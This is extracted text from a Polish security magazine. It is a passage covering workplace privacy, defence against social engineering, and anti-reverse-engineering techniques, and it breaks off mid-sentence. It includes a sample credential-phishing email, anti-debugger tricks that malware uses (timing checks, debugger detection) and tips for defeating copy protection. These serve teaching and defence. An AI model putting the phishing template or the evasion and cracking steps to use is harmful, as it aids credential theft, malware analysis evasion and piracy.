sze, są już dokładnie rozpracowa-
ne i sposoby na każdy z nich już
opisano.

Nie lubimy

podglądaczy!

Mimo że nikt z nas nie lubi być pod-
glądany i sama myśl o tym, że ktoś
inwigiluje naszą pracę nas irytu-

je, to niekiedy nic na to nie może-
my poradzić. Wiele firm w umo-
wach zawiera punkty pozwalające
im na monitorowanie naszej pra-
cy. Niewątpliwie nasza prywatność
jest często naruszana, czy to przez
nadgorliwych administratorów czy
też przez bardzo dociekliwych sze-
fów. Według prawników takie nad-
użycia jak czytanie prywatnej kore-
spondencji są niezgodne z prawem
i w przypadku ewentualnego spo-
ru sąd pracy mógłby stanąć po na-
szej stronie. Piotr Waglowski, autor
znanego prawniczego serwisu pra-

wo.valga.pl pisze: Na podstawie
Europejskiej Konwencji Praw Czło-
wieka, ratyfikowanej przez Polskę
w 1993 r., każdy ma prawo do po-
szanowania swojego życia prywat-
nego i rodzinnego (...) i swojej ko-
respondencji. Każdy. Nie wyłącza-
jąc pracowników. Prywatność na
szczeblu europejskim chroni rów-
nież dyrektywa o przetwarzaniu
danych osobowych i ochronie pry-
watności w sektorze telekomuni-
kacyjnym, a w Polsce: Konstytu-
cja, ustawa o ochronie danych oso-
bowych, kodeks cywilny, kodeks
karny oraz kodeks pracy. (http:

//prawo.vagla.pl/node/6270).

W dalszej części swojego arty-

kułu autor zaznacza, że prowadząc
podsłuch i uzyskując dostęp do pry-
watnych danych pracownika, praco-
dawca może być oskarżony o zwy-
kły hacking, jego działania mogą
więc być uznane za zwykłe prze-
stępstwo.

Pamiętajmy jednak, że często w

umowie o pracę znajdzie się punkt,
że zobowiązujemy się wykorzysty-
wać sprzęt firmowy tylko do celów
związanych z pracą. Zachowując
się nie fair możemy sprawić, że pra-
codawca, nawet bez specjalistycz-
nego oprogramowania do inwigila-
cji, może zauważyć nasze lenistwo
i wyciągnąć konsekwencje. I na ko-
niec mała rada dla wszystkich pra-
codawców: zrelaksowany pracownik
pracuje wydajniej; grajmy w otwar-
te karty, a wszystkim będzie się ży-
ło lepiej. l

O autorze

Autor jest specjalistą SEO/SEM i od 6
lat zajmuje się wprowadzaniem firm do
Internetu oraz sprzedażą online. Obec-
nie pracuje w firmie Deva Group.
Kontakt z autorem:
krzysztof.marzec@deva.com.pl

background image

www.hakin9.org

hakin9 Nr 7/2007

50

Obrona

W

socjotechnice nie ma żadnej magii.

Socjotechnik wykorzystuje te sa-

me metody przekonywania, jakich

używamy każdego dnia. Wcielamy się w róż-

ne role. Staramy się budzić zaufanie. Tworzy-

my wzajemne zobowiązania. Ale w przeciwień-

stwie do większości z nas, socjotechnik stosu-

je te metody w manipulacyjny, oszukańczy, wy-

soce nieetyczny sposób, często powodując ka-

tastrofalne skutki

socjolog dr Brad Sagarin

Statystyczny człowiek odbiera bodźce ze-
wnętrzne w sposób automatyczny i naturalny.
Można jednak spowodować wysyłanie bodź-
ców w sposób absolutnie świadomy.

Jak bronić się przed wpływem tych bodź-

ców, które zostały zaplanowane i służą jedynie
osiąganiu partykularnych interesów?

Zachowania ludzi można pogrupować w

sześć podstawowych reguł psychologicznych,
sterujących przebiegiem ludzkiego postępo-
wania:

• reguła wzajemności – wymaga od ludzi,

aby za otrzymane od drugiej osoby dobro
odwdzięczyć się w podobny sposób,

• reguła zaangażowania i konsekwencji – w

myśl tej zasady ludzie po dokonaniu wybo-
ru lub zajęciu stanowiska w jakiejś sprawie,
później zachowują się konsekwentnie i zgod-
nie z tym, w co wcześniej zaangażowali się,

• reguła społecznego dowodu słuszności

– głosi, że to, w co wierzą lub jak zachowu-
ją się inni ludzie, często jest podstawą na-
szych własnych decyzji,

• reguła lubienia i sympatii – zgodnie z tą za-

sadą, ludzie wolą mówić tak tym osobom,
które lubią i znają,

• reguła autorytetu – oznacza, że ludzie ule-

gają autorytetom, ponieważ autorytety

Zagrożenia

socjotechniczne a

bezpieczeństwo informacji

Andrzej Guzik

stopień trudności

Ataki socjotechniczne są najtrudniejsze do wykrycia i obrony.

Ofiara ataku często nie wie, że została zaatakowana, stąd

trudność w skutecznej obronie. Jedyne, co można zrobić, to

kształtować świadomość zagrożeń oraz opracować odpowiednie

procedury bezpieczeństwa.

Z artykułu dowiesz się

• co to jest cykl socjotechniczny,
• jakie są typowe metody socjotechniczne,
• jak zapobiegać atakom socjotechnicznym.

Co powinieneś wiedzieć

• znać podstawy systemu zarządzania bezpie-

czeństwem informacji.

background image

Zagrożenia socjotechniczne

hakin9 Nr 7/2007

www.hakin9.org

51

cechuje wiedza, mądrość i wła-
dza,

• reguła niedostępności – mówi, że

ludzie przypisują większą war-
tość tym możliwościom, które
stają się niedostępne.

Na pierwszy rzut oka przedstawione
zasady wydają się oczywiste i pro-
ste. Wykorzystując je w sposób nie-
świadomy, nie wiemy, czy wywiera-
my wpływ na innych. Natomiast wy-
korzystując je w sposób świadomy,
zwiększamy prawdopodobieństwo
osiągnięcia zamierzonego rezultatu.

Oprócz komunikacji werbalnej na-

rzędziem służącym do osiągania ce-
lu jest komunikacja niewerbalna. We-
dług Alberta Mehrabiana, niemieckie-
go naukowca, 7 procent informacji po-
chodzi ze słów, 35 procent z tonu gło-
su, natomiast aż 55 procent z języ-
ka ciała. Na komunikację niewerbal-
ną składają się nasze zachowania i
gesty, tony, półtony, postawy i nastro-
je. Na ich podstawie można odgad-
nąć prawdziwe intencje rozmówcy, a
nawet przewidzieć, jak się za chwilę
zachowa.

Musimy zdawać sobie sprawę z

tego, że sygnały niewerbalne mogą
być również narzędziem manipula-
cji wykorzystywanym przez socjo-
technika.

Socjotechnik, planując swój atak,

a chcąc pozyskać wrażliwe informa-
cje, stosuje reguły, których wszy-
scy używamy na co dzień. Odgry-
wa swoją rolę. Próbuje tworzyć wia-
rygodność, stara się zaprzyjaźnić
ze swoją ofiarą. Z taką jednak róż-
nicą, że robi to manipulując, oszu-
kując. Działa w sposób nieetyczny,
tak, aby osiągnąć swój cel i odnieść
korzyść.

Najczęściej obiektem ataku socjo-

technicznego jest nieświadomy pra-
cownik, pracownik posiadający spe-
cjalne przywileje lub pracownik klu-
czowego działu instytucji. Socjotech-
nik, po zdobyciu informacji, porzuca
swoją ofiarę i poluje na następną.

Cykl socjotechniczny składa się

z czterech faz. Faza pierwsza – to
rozpoznanie celu ataku, faza druga
– budowanie więzi i zaufania ofiary,
faza trzecia – wykorzystanie zaufa-
nia ofiary i faza czwarta – wykorzy-
stanie zdobytych informacji.

Dobry socjotechnik stosuje sztu-

kę oszukiwania wykorzystując naj-
lepsze cechy natury ludzkiej: skłon-
ność człowieka do gotowości udzie-
lania pomocy, do uczynności czy
ofiarności.

Atakom socjotechnicznym sprzy-

ja niska świadomość zagrożeń
wśród pracowników oraz brak szko-
leń. W większych firmach czynni-
kiem ułatwiającym atak jest duża

liczba pracowników i wiele lokaliza-
cji instytucji.

Informacje pozostawione w po-

czcie głosowej mogą również uła-
twiać atak. Podobnie jak wewnętrz-
ne numery telefoniczne udostęp-
niane nieświadomie na stronach
WWW.

Dobrą praktyką sprzyjającą

ochronie informacji w organizacji
jest opracowanie i zakomunikowanie
wszystkim pracownikom wykazu in-
formacji, które podlegają ochronie.

Obrona przed atakiem socjotech-

nicznym jest najtrudniejsza. Często
nie wiemy, że zostaliśmy zaatakowa-
ni. Stąd trudność w skutecznej obro-
nie. Tak naprawdę nie istnieje tech-
nologia, która mogłaby zapobiec ata-
kowi socjotechnicznemu.

Jak w przypadku innych zagro-

żeń, ochrona przed zagrożeniami
socjotechnicznymi polega przede
wszystkim na zrozumieniu metod
stosowanych przez przeciwnika.

Przykładem typowego ataku so-

cjotechnicznego jest udawanie pra-
cownika tej samej instytucji, ofero-
wanie pomocy w razie wystąpienia
problemu, udawanie kogoś, kto ma
władzę, udawanie nowego pracow-
nika proszącego o pomoc czy uda-
wanie przedstawiciela dostawcy, fir-
my partnerskiej lub instytucji rządo-
wej.

W dobie komunikacji elektronicz-

nej możemy spotkać się z prośbą o
odebranie faksu i przesłanie go da-
lej, prośbą o przesłanie pliku do lo-
kalizacji, która wydaje się wewnętrz-
na, prośbą o zainstalowanie prze-

Rysunek 1.

Cykl socjotechniczny

Rozpoznanie

Wykorzystanie

informacji

Wykorzystanie

zaufania

Budowanie

więzi i zaufania

Przykład ataku socjo-

technicznego na użyt-

kowników poczty.

Drodzy użytkownicy poczty xxx

Ze względu na to, że do 25.07.2006

cały system pocztowy ma być przenie-
siony na inny serwer, muszą państwo
ponownie wprowadzić swoje dane do
bazy xxx. Jeżeli nadal chcą państwo
korzystać z naszych usług, proszę po-
stępować według poniższej instrukcji:

• wejść na stronę

www.informator.home.pl/
administracja-xxx.php

• uzupełnić formularz
• po zatwierdzeniu formularza dane

zostaną przekazane do bazy da-
nych systemu xxx.

Od 25.07.2006 będą się państwo logo-
wali na stronie nowymi danymi. Dlate-
go należy je zapamiętać. Za problemy
i utrudnienia przepraszamy!!!

W razie problemów proszę pisać

na adres xxx-informacja@xxx.pl

Administracja xxx

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

52

słanego pocztą elektroniczną dar-
mowego oprogramowania, które ma
nas ochronić przed określonym za-
grożeniem.

Często twórcy stron interneto-

wych oferują nam nagrodę za reje-
strację na stronie internetowej, pro-
sząc o podanie loginu i hasła. Ilu z
nas zadaje sobie trud i wymyśla nie-
standardowy login i hasło. Więk-
szość z nas nieświadomie podaje
swoje dane, które na co dzień wyko-
rzystuje przy logowaniu się do firmo-
wych zasobów. Stąd już tylko jeden
krok, który dzieli socjotechnika od
naszych informacji.

Powinniśmy pamiętać, aby w

przypadku spotkania się z nietypo-
wą prośbą odmówić jej spełnienia do
czasu pozytywnej weryfikacji tożsa-
mości proszącego.

Profilaktyka

(środki zaradcze)

Zapobieganie atakom socjotechnicz-
nym w organizacji wymaga szeregu
skoordynowanych działań.

W pierwszej kolejności należy

opracować politykę klasyfikacji da-
nych, określić, które informacje na-
leży chronić – najlepiej w postaci
ich wykazu oraz opracować i wdro-
żyć stosowne procedury bezpie-
czeństwa.

Po drugie, w celu kształtowania

świadomości bezpieczeństwa wśród
pracowników należy prowadzić sys-
tematycznie teoretyczne i praktycz-
ne szkolenia (minimum raz, a najle-
piej dwa razy w ciągu roku) z zakre-
su metod przeciwdziałania atakom
socjotechnicznym.

W trakcie szkoleń należy uświa-

damiać pracownikom potencjalną
możliwość wystąpienia ataku socjo-
technicznego. Pracownicy na ogół
nie czują zagrożeń, wydaje im się, że
są odporni na typowe ataki socjotech-
niczne, stąd poczucie tzw. fałszywe-

go bezpieczeństwa. Rodzi się tu pyta-
nie, czy faktycznie jesteśmy zagroże-
ni atakiem socjotechnicznym?

Jak wynika ze statystyk, właści-

wym pytaniem jest jednak - kiedy na-
stąpi atak. Chodzi o to, aby nie dać
się zaskoczyć i być przygotowanym
na jego odparcie. Program szkole-

nia pracowników powinien obejmo-
wać analizę typowych źródeł ataków
socjotechnicznych, takich jak: roz-
mowa telefoniczna, fax, e-mail, stro-
na WWW czy kontakt osobisty oraz
ukazywać metody obrony. W czasie
szkolenia należy przedstawić poten-
cjalne skutki ataku, w postaci strat fi-
nansowych, utraty prestiżu, utraty
konkurencyjności instytucji czy utra-
ty prywatności pracowników – wy-
ciek danych osobowych, itp.

W celu sprawdzenia stanu bez-

pieczeństwa organizacji oraz podat-
ności pracowników na ataki socjo-
techniczne wskazane jest okreso-
we przeprowadzanie audytów bez-
pieczeństwa.

Skuteczność powyższych działań

zależy w głównej mierze od ustano-
wienia jasnych, prostych i zwięzłych
procedur bezpieczeństwa oraz cią-
głego motywowania pracowników do
ich przestrzegania. Polityka bezpie-
czeństwa organizacji powinna znie-
chęcać do odstępowania od proce-
dur bezpieczeństwa poprzez system
kar i nagród. Należy wpoić pracowni-
kom zakaz udostępniania informacji,
za wyjątkiem informacji publicznych,
do momentu pozytywnej weryfika-
cji tożsamości proszącego. Weryfi-
kacja, weryfikacja i jeszcze raz we-
ryfikacja tożsamości pytającego, to
podstawa skutecznego zapobiegania
atakom socjotechnicznym.

Po czym można poznać, że na-

stąpił atak socjotechniczny? Zna-
kiem ostrzegawczym może być oka-
zywanie przez pytającego posiada-
nia władzy, wymienianie wielu na-
zwisk, podkreślanie pilności spra-
wy, okazywanie niechęci w przypad-
ku zadawania przez nas pytań, od-
mowa podania swojego numeru te-
lefonu, nietypowa prośba czy gro-
żenie konsekwencjami w przypadku
niepodporządkowania się prośbie,
itd. Często socjotechnik wykorzystu-
je komplementy, pochlebstwa, a na-
wet usiłuje flirtować.

Należy również zwrócić szcze-

gólną uwagę na pracowników firm
wykonujących usługi sprzątania i
usługi ochrony fizycznej. Organiza-
cje bardzo często dość liberalnie po-
stępują w tych kwestiach. Powinni-

śmy pamiętać o podpisaniu przez fir-
my i ich pracowników zobowiązań o
poufności oraz o przeszkoleniu pra-
cowników wykonawcy usług w za-
kresie procedur bezpieczeństwa
obowiązujących w instytucji. Szcze-
gólną uwagę należy zwrócić na kwe-
stie związane z kontrolą dostępu i
samym dostępem osób nieuprawnio-
nych na teren organizacji.

Jedyną tak naprawdę skutecz-

ną metodą ochrony przed atakiem
socjotechnicznym jest zastosowa-
nie zabezpieczeń technologicznych
w kombinacji z procedurami bez-
pieczeństwa. Procedury te powinny
określać podstawowe zasady zacho-
wania się pracowników.

Podsumowanie

Jak wiemy, z jednej strony czynnik
ludzki stanowi najsłabszy element
systemu bezpieczeństwa, zaś z dru-
giej strony jest jego najsilniejszym
ogniwem. Jedynie te instytucje, któ-
re zainwestowały w kapitał ludz-
ki mogą czuć się bezpiecznie, gdyż
bezpieczeństwo informacji to przede
wszystkim stan świadomości. l

O autorze

Andrzej Guzik - audytor systemów
zarządzania jakością i bezpieczeń-
stwem informacji, specjalista w zakre-
sie ochrony informacji prawnie chronio-
nych, redaktor portalu
www.ochronainformacji.pl
Kontakt z autorem:
a.guzik@ochronainformacji.pl

Literatura

• Robert Cialdini, Wywieranie

wpływu na innych. Teoria i

praktyka, Gdańskie Wydaw-
nictwo Psychologiczne, 2003

• Kevin D. Mitnick, William L. Simon,

Łamałem ludzi, nie hasła. Sztuka
podstępu,
Wydawnictwo Helion,
2003

• Kevin D. Mitnick, William L. Simon,

Sztuka infiltracji, Wydawnictwo Al-
batros Andrzej Kuryłowicz

• Andy Collins, Mowa ciała. Co zna-

czą nasze gesty?, Oficyna Wydaw-
nicza Rytm

background image
background image

www.hakin9.org

hakin9 Nr 7/2007

54

Obrona

C

o jesteśmy w stanie zrobić, by spowol-
nić analizę binarnej postaci programu?
Można tutaj zastosować szereg popu-

larnych technik zapobiegania inżynierii wstecz-
nej. W niniejszym artykule zamierzamy przed-
stawić powszechnie stosowane (a także niektó-
re trochę rzadziej wykorzystywane) techniki an-
ty-RE. Zakładamy tu, że czytelnik posiada pew-
ne doświadczenie w analizie i modyfikacji plików
binarnych. Jeżeli zdołasz wykorzystać treść ar-
tykułu w maksymalnym stopniu, twoje programy
staną się prawdopodobnie bardziej odporne na
inżynierię wsteczną; zrozumiesz także, że ana-
liza malware'u będzie w przyszłości wymagać
rozległej wiedzy, jako że złośliwe programy sta-
ją się coraz bardziej skomplikowane.

Terminologia

Proces gmatwania kodu (ang. code obfusca-

tion) – przekształcanie fragmentu kodu do
mniej czytelnej postaci. Rysunek 1. przed-
stawia ten proces na przykładzie: widoczny
nań kod napisany został w języku Javascript,
a następnie zagmatwany.

Proces transformacji kodu – kod może być

przekształcony tak, by sprawiał dla człowie-

ka wrażenie znacznie bardziej złożonego;
nie jest on jednak wcale skomplikowany dla
automatycznego debuggera, np. IDA Pro
nie miałby żadnych problemów z ominię-
ciem skutków takiego działania. Dla przy-
kładu, złośliwy kod JS często wykorzystu-
je w tym celu składanie łańcucha znaków z
innych łańcuchów, z wykorzystaniem funk-
cji substring.

Techniki zapobiegania –

reverse engineering

Michał Bućko

stopień trudności

Specjaliści od inżynierii wstecznej (ang. reverse engineering, RE)

ciężko pracują nad złamaniem twoich aplikacji i można stwierdzić

z dużym prawdopodobieństwem, że praktycznie zawsze im się to

uda; możemy jednak utrudnić im pracę, czyniąc naszą aplikację

trudniejszą do zanalizowania.

Z artykułu dowiesz się

• o najpopularniejszych technikach wymierzonych

przeciwko debugowaniu i inżynierii wstecznej,
stosowanych przez twórców malware'u,

• o środkach bezpieczeństwa mających na ce-

lu zwiększenie bezpieczeństwa tworzonego
oprogramowania.

Co powinieneś wiedzieć

• znajomość struktury plików PE, asemblera oraz

podstawowych technik analizy binariów,

• zalecana jest także znajomość najpowszech-

niejszych technik wymierzonych przeciwko
debuggerom.

background image

Reverse engineering

hakin9 Nr 7/2007

www.hakin9.org

55

Nieprzejrzyste predykaty – frag-

menty dodatkowego kodu, nie ro-
biące nic istotnego, ale sprawiają-
ce wrażenie ważnych części apli-
kacji. Przeciwieństwo predykatów
przejrzystych tj. fragmentów kodu
sprawiających wrażenie bezuży-
tecznych i nieważnych. Nieprzej-
rzyste predykaty często doda-
ją bezużyteczne klucze do Reje-
stru bądź tworzą niepotrzebne pli-
ki. Termin ten jest ściśle powiąza-
ny ze wstawianiem zbędnego kodu
pomiędzy rzeczywiste instrukcje.
Istnieje kilka interesujących gene-
ratorów takiego kodu, tworzących
instrukcje, które można potem po
prostu dodać do swojej aplikacji.

Szyfrowanie i deszyfrowanie ko-

du w trakcie działania. Aplikacja
może się szyfrować bądź deszy-
frować. Jednakże, nie cała aplika-
cja może być jednorazowo odszy-
frowana, klucz deszyfrujący powi-
nien być wyliczany podczas dzia-
łania programu oraz powinno się
stosować długie klucze (z krypto-
graficznego punktu widzenia krótki
klucz nie zapewnia odpowiedniego
poziomu bezpieczeństwa).

Kilka interesujących

sztuczek

Możemy zmodyfikować też nagłó-
wek PE, ustawiając w nim dziwne

ImageBase (Windows tworzy dla
każdej uruchamianej aplikacji osobną
przestrzeń adresową, a następnie od-
czytuje wartość ImageBase i wgrywa
pod ten adres uruchamiany program),

LoaderFlags (przestarzałe) i Numbe-

rOfRvaAndSizes (Jest to liczba wejść
do tablicy DataDirectory; ostatnie pole
w nagłówku IMAGE_OPTIONAL_HE-

ADER to DataDirectory, które jest
tablicą 16 (NumberOfRvaAndSizes)
elementów; każdy element, to struktu-
ra nazywana IMAGE_DATA_DIREC-

TORY, przy czym każdy z nich pełni
różne funkcje). Zmiana ImageBase
nie daje ochrony, jedynie dezorien-
tuje napastnika. Zmiana pozostałych
dwóch wartości może spowodować, iż
niektóre debuggery potraktują taki plik
aplikacji jako uszkodzony, w efekcie
czego aplikacja uruchomiona zostanie
bez zatrzymania w punkcie wejścia
– co w przypadku malware'u jest
niedopuszczalne, jako że może dopro-
wadzić do zarażenia. Możemy także
dokonać pewnych modyfikacji w sekcji
aplikacji (SizeOfRawData); w wyniku
tego IDA zaalokuje zbyt dużo pamięci,
co może spowolnić analizę. Ponadto,
w ramach ochrony przed deasembla-
cją zastosować można generatory
warstwy szyfrowania. Istniejące obec-
nie generatory tego rodzaju są dość
złożone i dają swoim użytkownikom
możliwość korzystania z wielu intere-

sujących opcji, na przykład: detekcji
pomiarem czasu, dodawania niepo-
trzebnego kodu, ustawiania losowych
wartości rejestrów, szyfrowania za
pomocą różnych algorytmów i wielu
innych. Aplikacja powinna być także
zabezpieczona przed zastosowaniem
BPX; można na przykład sięgnąć do
funkcji API za pomocą GetProcAd-

dress, a następnie sprawdzić opkod
INT 3, względnie odczytać IAT i wy-
szukać punkty przerwań.

Dostęp do struktury kontekstu apli-

kacji i rejestrów debugowania pozwala
usuwać punkty przerwań ustawione na
poziomie sprzętu (przeczytaj o BPM!).
Warto również wspomnieć o opartej
na RDTSC sygnaturze czasu – wiele
Ring3 wykryć można, stosując detekcję
pomiarem czasu, a więc kod zliczający
różnicę czasu między dwoma wywo-
łaniami instrukcji RDTSC. W szczegó-
łach działa to tak, jak w Tabeli 1.

Wykrywanie OllyDBG

Ze względu na zamierzoną niewielką
objętość niniejszego artykułu, zdecy-
dowanie nie zamierzamy szczegóło-
wo omawiać całego zakresu technik
pozwalających na wykrycie OllyDBG
– zajmiemy się tylko ogólnym ich
przeglądem. Niektóre z popularniej-
szych tutaj metod to wykrywanie
przerwania INT3, Olly przez IsDe-

buggerPresent, Olly na podstawie

NtQueryInformationProcess, wtyczki

OllyInvisible oraz kluczy Rejestru Olly.
Detekcja przerwania INT3 opiera się
na nieprawidłowej obsłudze instrukcji
INT3 przez debugger, IsDebugger-

Present wykorzystuje wpinanie się
w API, zaś metoda NtQueryInforma-

tionProcess wykorzystuje noszące jej
nazwę API. OllyInvisible to wtyczka
dla OllyDBG – można ją wykryć wpi-
nając się w CsrGetProcessId.

Rysunek 1.

Gmatwanie w praktyce

Tabela 1.

RDTSC w akcji!

RDTSC

RDTSC po raz pierwszy

XOR ECX,ECX

zerujemy ECX

ADD ECX,EAX

umieszczamy EAX w ECX

RDTSC

RDTSC po raz drugi

SUB EAX,ECX

wyznaczamy różnicę czasu

CMP EAX,OFFFh

właściwe porównanie

JBN @Detected

skok!

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

56

Detekcja SoftICE

W niniejszym artykule wspomnimy
tylko o trzech technikach wykrywania

SoftICE. Pierwsza z nich powiązana
jest z detekcją sterowników – tworzo-
ny jest plik noszący nazwę sterownika

SoftICE. Druga opiera się o Rejestr
– wyszukiwane są odpowiednie klucze

(SOFTWARE\Numega\DriverStudio).
Trzecia bazuje na tworzeniu pliku

\system32\ drivers\WINICE.dat.
W pierwszym i trzecim przykładzie
detekcji SoftICE staramy się utworzyć
pliki, do których utworzenia nie mamy
uprawnień. Sama procedura opiera
się na analizie wartości zwracanej
przez CreateFileA - EAX ustawiony na
zero wskazuje na działanie SoftICE.

Istnieje wiele sposobów na wy-

krywanie debuggerów, jednak każdy
z nich może zostać oszukany. Są do-
stępne specjalne aplikacje i wtyczki
dla debuggerów, które pozwalają na
ukrycie ich obecności.

Kilka uwag o ochronie,

pakowaniu i życiu

Nasze oprogramowanie zdecydowa-
nie powinno być chronione. Nie istnie-
je ochrona doskonała, zawsze należy
jednak podejmować pewne kroki. Sto-
suje się pakery i programy ochronne,
jednak w wielu przypadkach można
bardzo prosto rozpakować spakowany
kod. Popularne pakery można dość
łatwo wykryć. Co jednak można jesz-
cze zrobić? Można składować różne
numery seryjne w różnych miejscach
– często znaleźć je można w najmniej
spodziewanych miejscach. Numery
seryjne są też często generowane
w czasie działania programu. Nigdy
nie powinniśmy ostrzegać użytkow-
nika o naruszeniu licencji, jeżeli ma
to miejsce po raz pierwszy, first time

– powinien on otrzymać odpowiednią
informację dopiero po wielokrotnym
powtórzeniu naruszenia. Nie należy
nigdy nazywać funkcji np. IsSerialOk;
nazwy tego rodzaju funkcji powinny
być zagmatwane, zmianie powinna
ulec też sama logika – kod niezbędny
dla tego rodzaju weryfikacji powinien
być umieszczony w takiej funkcji, by
jej wyłączenie spowodowało niepo-
prawne działanie aplikacji. Najlepiej
w ogóle nie stosować dedykowanych
funkcji weryfikacyjnych i przeprowa-
dzać ten proces wewnątrz procesu
głównego. Zawsze należy odczekać
kilka sekund po wprowadzeniu hasła.
Każde istotne menu bądź okno dialo-
gowe powinno być budowane dyna-
micznie. Numer seryjny powinien być
długi i być produktem długiego ciągu
transformacji arytmetycznych. Ważne
jest także zniekształcanie danych,
jako że zwiększa ono czasochłonność
wstecznej inżynierii aplikacji.

Należy sprawdzać sumy kontro-

lne aplikacji, można także zaimple-
mentować inne testy pozwalające
na sprawdzenie, czy aplikacja nie
została zmodyfikowana. Można tak-

że wykorzystywać w aplikacji ciągi
instrukcji NOP, by sprawiała ona
wrażenie zawierającej samomody-
fikujący się kod. Stosuj zbędne in-
strukcje, by kod aplikacji wyglądał na
bardziej złożony niż w rzeczywistości
jest. Kod powinien być podzielony na
fragmenty, powiązane ze sobą wa-
runkowymi skokami. Należy unikać
ekranów w rodzaju Twoja licencja

próbna wygasła, względnie – jeżeli
naprawdę są nam one potrzebne
– należy je generować dynamicznie,
w czasie działania programu. OK,
ten akapit wcale nie mówił o życiu
– ale w tej formie jego tytuł wyglądał
bardziej interesująco, nieprawdaż?

Rysunek 2.

Nie znaleziono debuggera

Rysunek 4.

Nie używaj tego

Rysunek 3.

Praca z Olly

Listing 1.

RDTSC w akcji

loc_40129C: ; "kernel32.dll"
push offset LibFileName
call ds:LoadLibraryA
push offset ProcName ;
"IsDebuggerPresent"
push eax ; hModule
call ds:GetProcAddress
call eax
test eax, eax
jz short loc_4012BD

background image

Reverse engineering

hakin9 Nr 7/2007

www.hakin9.org

57

Ochrona przed debuggerami, śle-

dzeniem, zrzutami, łataniem w locie
i sprzętowymi punktami przerwań,
sprawdzanie muteksów i sum kontrol-
nych, ochrona OEP, fałszywe nagłów-
ki, zbędny kod, detekcja debuggerów,
ochrona przed zmianą nazwy plików,
uszkodzony nagłówek PE, przekie-
rowanie importu API - wszystkie te
techniki są wysoce przydatne, jednak
nawet razem wzięte nie są w stanie
zabezpieczyć aplikacji w 100%; warto
zdawać sobie z tego sprawę. Również
niektóre sztuczki SEH, zastępowanie
oryginalnego kodu metamorficznymi
śmieciami, unikanie stosowania Get-

ProcAddress, korzystanie z własnej
tabeli TLS czy uszkodzona tabela
importów zawsze mogą pozwolić na
zwiększenie poziomu bezpieczeń-
stwa aplikacji, ale nigdy nie uczynią
jej całkowicie odporną na ataki.

Po drugiej

stronie barykady

Teraz spróbujemy dla odmiany za-
atakować aplikację. Przedstawimy tu
elegancki przykład prostego ataku.
Załóżmy, że musimy doskonale zro-
zumieć, jak zbudowana jest aplikacja.
Na początku sprawdzamy, czy jest
ona spakowana jednym z popularnych
pakerów; można to uczynić za pomo-
cą PEiD. Jeżeli mamy do czynienia
z bardzo zaawansowanym malware-
'em (póki co jest to raczej rzadkość),
trzeba rozpakować taki program ręcz-
nie; w tym krótkim artykule nie zamie-
rzamy mówić o tym zbyt szeroko, jako

że jest to temat na kilka osobnych pu-
blikacji – na końcu artykułu znajdziesz
wprowadzenie do rozpakowywania.

Po rozpakowaniu pliku binarnego

przychodzi pora na uruchomienie de-
buggera i tu właśnie natkniemy się na
pierwsze problemy. Zamierzamy pora-
dzić sobie jednak z tymi trudnościami!
Zauważamy, że aplikacja wyszukuje

NtiCe i IceExt, korzysta także z INT 1
i INT 3; również i ustawienie sprzęto-
wego punktu przerwania nie będzie tu
takie proste, program stosuje bowiem
techniki anty-bpm. Powinniśmy być
w stanie poradzić sobie z zabezpie-
czeniami przed debugowaniem za
pomocą typowych technik, z drugiej
strony jednak w wielu przypadkach nie
jest zbyt trudnym zadaniem załatanie

SoftICE czy IceExt tak, by działały
one poprawnie; nie ma powodu do
obaw. Z kolei niektóre techniki anty-
bpm pozwoli nam przełamać yates
(anty-anty-bmp). Zauważamy kolejną
interesującą cechę programu: miała
ona być w założeniu bardzo bezpiecz-
na, jednak ani INT1 ani INT3 nie są
obsługiwane w pierścieniu 0, przez
sterownik – obydwoma zajmują się
filtry obsługi wyjątków, bez modyfikacji
IDT. OK. Do sprawdzenia, czy do pro-
cesu podłączony jest debugger często
wykorzystuje się IsDebuggerPresent.
Otwieramy listę funkcji IDA, aby spraw-
dzić, czy były do niej jakieś odniesienia
bądź, czy nastąpiły importy. Nie zna-
leźliśmy niczego ciekawego, za to dalej
widzimy to, co na Listingu 1.

Tak, w tym przypadku dla uroz-

maicenia nam śledztwa zastosowa-
no GetProcAddress, by po ręcznym
załadowaniu biblioteki odnaleźć od-
niesienie do IsDebuggerPresent i
wywołać tę funkcję.

Automatyzacja

OK, zdecydowaliśmy się korzystać z

OllyDBG, jednak wiele naszych dzia-
łań będzie się powtarzać i z tego
względu warto zaznajomić się z kilko-
ma (co mniej popularnymi) skryptami
Olly. Skrypty Olly znacznie podnoszą
wydajność naszej pracy. !EPack OEP

finder, ACProtect OEP Finder + IAT

Repair, SDProtector 1.12 Fix IAT, UPX

OEP finder prawdopodobnie nie wy-
magają dalszych wyjaśnień. Dostęp-

nych jest wiele depakerów, a w wie-
lu przypadkach malware korzysta ze
znanych narzędzi tego rodzaju zamiast
własnych. Możemy także wykorzystać
wizualizację graficzną, udostępnianą
przez IDA Pro czy BinNavy; jest ona
bardzo pomocna, albowiem ułatwia
ona wyjaśnienie zależności oraz se-
kwencji wykonywania. Daje nam też
ogląd struktury aplikacji. Możemy tak-
że stosować rozmaite skrypty pomoc-
ne przy wyszukiwaniu luk w progra-
mach – jednym z najpopularniejszych
jest Halvar’s Bugscam. Z drugiej stro-
ny, przy pracy nad lukami nie można
polegać na dostępnych skryptach: ba-
danie luk powinno być przeprowadza-
ne ostrożnie i bardzo precyzyjnie.

Podsumowanie

Na końcu niniejszego artykułu przyj-
rzymy się czubkowi góry lodowej, ja-
ką jest zbliżony problem – zabez-
pieczenie przed kopiowaniem. Pro-
blemy tego rodzaju dotyczą najczę-
ściej osób znających jednocześnie
nowy, lecz popularny język bajana-

rish (od język binarny). W tym krótkim
akapicie wspomnimy jedynie o naj-
bardziej rozpowszechnionych tech-
nikach zabezpieczania przed kopio-
waniem. Co najpierw? Jak zwykle,
w pierwszej kolejności musimy sobie
poradzić ze sprawdzaniem debugge-
rami, są one jednak (praktycznie za-
wsze) dość, a przynajmniej względnie,
proste do oszukania. Radzimy sobie z
ochroną importów i emulacją opkodów
(JMP EAX przeskakuje do procedu-
ry emulującej przejęty opkod). Wciąż
jest to jednak mało: w przypadku za-
bezpieczania przed kopiowaniem sto-
suje się również rozmaite techniki po-
zwalające na sprawdzenie, czy wło-
żono odpowiednią płytę CD i czy jest
ona oryginalna. W wielu przypadkach
tego rodzaju zabezpieczenia również
nie są trudne do obejścia, wymaga-
jąc jedynie programowego usunięcia
CD i zmiany wartości zwracanej przez
funkcję Czy na pewno masz prawo do
korzystania z tego programu? – ale
proszę, nie stosuj do szukania dokład-
